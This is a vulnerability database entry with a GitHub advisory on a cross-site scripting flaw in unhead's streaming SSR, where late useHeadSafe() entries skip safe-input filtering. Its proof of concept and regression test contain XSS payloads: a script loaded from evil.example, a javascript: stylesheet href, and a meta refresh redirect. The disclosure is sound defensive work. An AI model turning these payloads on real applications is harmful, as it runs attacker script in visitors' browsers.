Vulnerability DatabaseGHSA-cw38-r4mr-qh2v

GHSA-cw38-r4mr-qh2v: 
JavaScript vulnerability analysis and mitigation

XSS in unhead: useHeadSafe() entries registered after the streaming shell are serialized as raw input, bypassing SafeInputPlugin

Report metadata

FieldValue
Packageunhead (npm, pkg:npm/unhead)
Repositoryhttps://github.com/unjs/unhead
Componentunhead/stream/server → renderSSRHeadSuspenseChunk (consumed by the streaming client IIFE, packages/unhead/src/stream/iife.ts)
Vulnerability classCross-site scripting (safe-input filter bypass)
CWECWE-79
Severity (reporter assessment)High
Verified againste3b084481fe018fe023f84576615906feacfc2a7 (packages/unhead v3.4.3). Other streaming-capable versions: not verified
API surfacePublic documented API: useHeadSafe() with createStreamableHead() / wrapStream() / renderSSRHeadSuspenseChunk()
Affected in default configurationYes. The streaming guide documents that entries added after the shell are sent as inline patch scripts and processed automatically by the client; no opt-in is needed

Summary

When streaming SSR is used, renderSSRHeadSuspenseChunk() serializes each late head entry from its raw resolved entry.input. It does not use the output of the safe-input filter. SafeInputPlugin only runs in the entries:normalize and tags:afterResolve hooks, and the chunk path never calls them. It also drops entry.options._safe. The streaming client IIFE then pushes these raw entries into a bare createUnhead(createDomRenderer()) head that has no plugins, and renders them. The result: an input that normal SSR strips from a useHeadSafe() entry (an external script src, a javascript: stylesheet href, a meta http-equiv=refresh) becomes live DOM when the entry is registered after the shell has been flushed. In a consuming app, the tainted input is the object a developer deliberately passes to useHeadSafe() because it is untrusted, such as CMS content or user-profile data. The docs recommend exactly that. If an async or suspense component registers that entry after the shell flush, anyone who controls that data can inject script into the page. The same input is handled safely on sibling paths:

  • renderSSRHead() with the same useHeadSafe() input -> script src, javascript: href and http-equiv refresh stripped (observed in reproduction)
  • useHeadSafe() entry registered before the flush and rendered into the streaming shell -> same inputs stripped (observed in reproduction)
  • Normal resolution through SafeInputPlugin -> non-JSON scripts rejected (safe.ts:208-212)
  • useHeadSafe() entry registered after the flush, through renderSSRHeadSuspenseChunk() -> raw input serialized, unsafe (server.ts:430-470)

Impact

An application that correctly uses useHeadSafe() for user- or CMS-controlled head objects can still run arbitrary attacker-hosted JavaScript in visitors' browsers, in the page origin, when the entry resolves after the streaming shell. The reproduction also showed a javascript: stylesheet href and a meta http-equiv=refresh reaching document.head. Without this bug, the safe plugin rejects script src entries, so the untrusted caller can only emit the allowlisted inert subset. With it, the caller can load and run external script, which is the capability useHeadSafe() exists to block. Not scored: no CVSS vector is given. Exploitability depends on the consuming application's data flow. Consumers that are not affected: apps that don't use streaming SSR, apps whose useHeadSafe() entries are all registered before the shell is flushed, and apps that never pass attacker-influenced data to useHeadSafe().

Preconditions

  1. The application uses Unhead streaming SSR, and its client IIFE processes patch scripts.
  2. A useHeadSafe() entry is registered after renderShell() (or the streamed shell) has been flushed, for example from an async component or suspense boundary. The client applies late entries automatically by default (streaming guide, docs/0.typescript/head/guides/1.core-concepts/5.streaming.md).
  3. The attacker can control some of the object that is intentionally passed to useHeadSafe().
  4. The late-entry branch of renderSSRHeadSuspenseChunk() runs (entries exist that weren't in the shell). No non-standard usage, monkey-patching or unusual configuration is needed. The trigger is useHeadSafe() itself, used as documented. docs/head/1.guides/1.core-concepts/10.security.md tells developers to pass untrusted input through useHeadSafe() because it "drops executable scripts", and docs/head/7.api/composables/1.use-head-safe.md says "Executable scripts are rejected." Neither says this guarantee doesn't hold for streamed late entries. Safe-input filtering is not documented as the caller's responsibility.

Data flow

  1. Source: attacker-controlled HeadSafe input passed to useHeadSafe(), which marks the entry _safe and stores the object as entry.input (composables.ts:17-19).
  2. Propagation: after the shell flush, renderSSRHeadSuspenseChunk() reads entry.input, resolves it, and pushes the raw result into inputs. It doesn't run SafeInputPlugin and doesn't keep entry.options (server.ts:430-447). The code comment at server.ts:203-211 notes that useHeadSafe filtering stays unresolved here. SafeInputPlugin filters only in entries:normalize / tags:afterResolve (safe.ts:245-274).
  3. Sink: the raw inputs are embedded in the patch script: inputs.push(input) ... return window.${streamKey}.push(${serialized})`` (server.ts:466-470). safeJsonStringify only stops the payload from breaking out of the script. It doesn't filter head capabilities.
  4. Reachability: renderSSRHeadSuspenseChunk is exported from unhead/stream/server and is called by core wrapStream() (server.ts:525) and by the framework streaming adapters (react/src/stream/server.ts:43, solid-js/src/stream/server.ts:314). On the client, pushBatch() pushes each raw entry into a hookless createUnhead(createDomRenderer()) instance and renders it (iife.ts:24-52). The DOM renderer then creates the element and sets the attacker-supplied src (renderDOMHead.ts:159-187, renderDOMHead.ts:237-242).

Vulnerable code

packages/unhead/src/stream/server.ts, lines 430-470 at e3b084481fe018fe023f84576615906feacfc2a7. This is an excerpt: ... marks lines left out, and the trailing comments are annotations added for this report.

for (const entry of head.entries.values()) {
  const input = normalized && normalized.input === entry.input
    ? normalized.resolved
    : resolveHeadInput(unwrapEntryInput(entry.input), propResolvers) // raw entry.input; SafeInputPlugin never runs, entry.options._safe dropped
  ...
  inputs.push(input) // unfiltered input collected
}
serialized = safeJsonStringify(inputs) // prevents script breakout only; no capability filtering
...
return `window.${streamKey}.push(${serialized})` // SINK: raw entries shipped to the hookless client IIFE

For contrast, the safe path is SafeInputPlugin rejecting non-JSON scripts during normal resolution (safe.ts:208-212).

Reproduction

Verified on unjs/unhead at e3b08448 (packages/unhead v3.4.3), using a vitest PoC with JSDOM that ran the real wrapStream() and the streaming IIFE.

  • Controls: renderSSRHead(), and a useHeadSafe() entry rendered into the streaming shell, both stripped a script src, a javascript: stylesheet href, and a meta http-equiv=refresh.
  • Exploit: a useHeadSafe() entry registered after the shell flush was serialized by renderSSRHeadSuspenseChunk() as its raw resolved input. The hookless IIFE head then rendered all three into document.head.
  • Calling renderSSRHeadSuspenseChunk() directly, as in the minimal snippet below, shows the same raw serialization.
import { useHeadSafe } from 'unhead'
import { createStreamableHead, renderShell, renderSSRHeadSuspenseChunk } from 'unhead/stream/server'
const { head } = createStreamableHead({ disableDefaults: true })
renderShell(head) // shell already flushed
// The casts only get the literal past TypeScript; untrusted data arriving at runtime isn't type-checked
useHeadSafe(head as any, { script: [{ src: 'https://evil.example/pwn.js' }] } as any)
console.log(renderSSRHeadSuspenseChunk(head))
// Feed the resulting patch to the streaming IIFE in a DOM (e.g. JSDOM) and inspect document.head
  • Expected: the patch leaves out the script entry, just as head.render() / renderSSRHead() do for the same useHeadSafe() input, or it carries the safe semantics to the client.
  • Actual (observed): the patch contained window.__unhead__.push([{"script":[{"src":"https://evil.example/pwn.js"}],...}]). The IIFE rendered <script src="https://evil.example/pwn.js">, <link rel=stylesheet href="javascript:alert(1)"> and <meta http-equiv=refresh> into document.head.

Suggested remediation

Streamed patches should keep the safe-entry semantics, so a _safe entry never reaches the client in a form that SafeInputPlugin would have rejected. Two possible forms:

  1. Server-side (smallest change): for _safe entries, have renderSSRHeadSuspenseChunk() serialize the already-filtered normalized output instead of the raw entry.input.
  2. Client-side: send the entry options (including _safe) with each streamed entry, and make the streaming client IIFE install SafeInputPlugin before it renders. We have not written or tested a concrete patch. The maintainers are better placed to pick between these forms in the project's own style. Notes:
  • The comment at server.ts:203-211 says useHeadSafe filtering is deliberately left unresolved in this path. It should be revisited along with the fix.
  • renderSSRHeadSuspenseChunk() is reached through core wrapStream() and through the React and Solid streaming adapters. A fix in the core function should cover all three. Whether other framework adapters reach the same sink has not been verified.
  • Already safe, no change needed: renderSSRHead() / head.render(), and useHeadSafe() entries rendered into the streaming shell. Both stripped the payloads in the reproduction. safeJsonStringify correctly prevents breakout from the patch script and can stay as it is. Suggested regression test alongside the existing streaming tests (exact file not verified): register useHeadSafe(head, { script: [{ src: 'https://evil.example/pwn.js' }], link: [{ rel: 'stylesheet', href: 'javascript:alert(1)' }], meta: [{ 'http-equiv': 'refresh', content: '0;url=https://evil.example' }] }) after renderShell(head). Assert that the renderSSRHeadSuspenseChunk(head) output contains no executable script, javascript: href or refresh meta. Also assert that applying the patch through the streaming IIFE in JSDOM adds none of these elements to document.head.

Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-vqxq-2wvm-wwq5MEDIUM6.1
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-cw38-r4mr-qh2vMEDIUM6.1
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-hx39-7p87-p6mvMEDIUM4.7
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-43vv-qp67-mww8MEDIUM4.7
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026
GHSA-6r92-h7v8-c87rLOW2
  • JavaScript logoJavaScript
  • unhead
NoYesNov 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management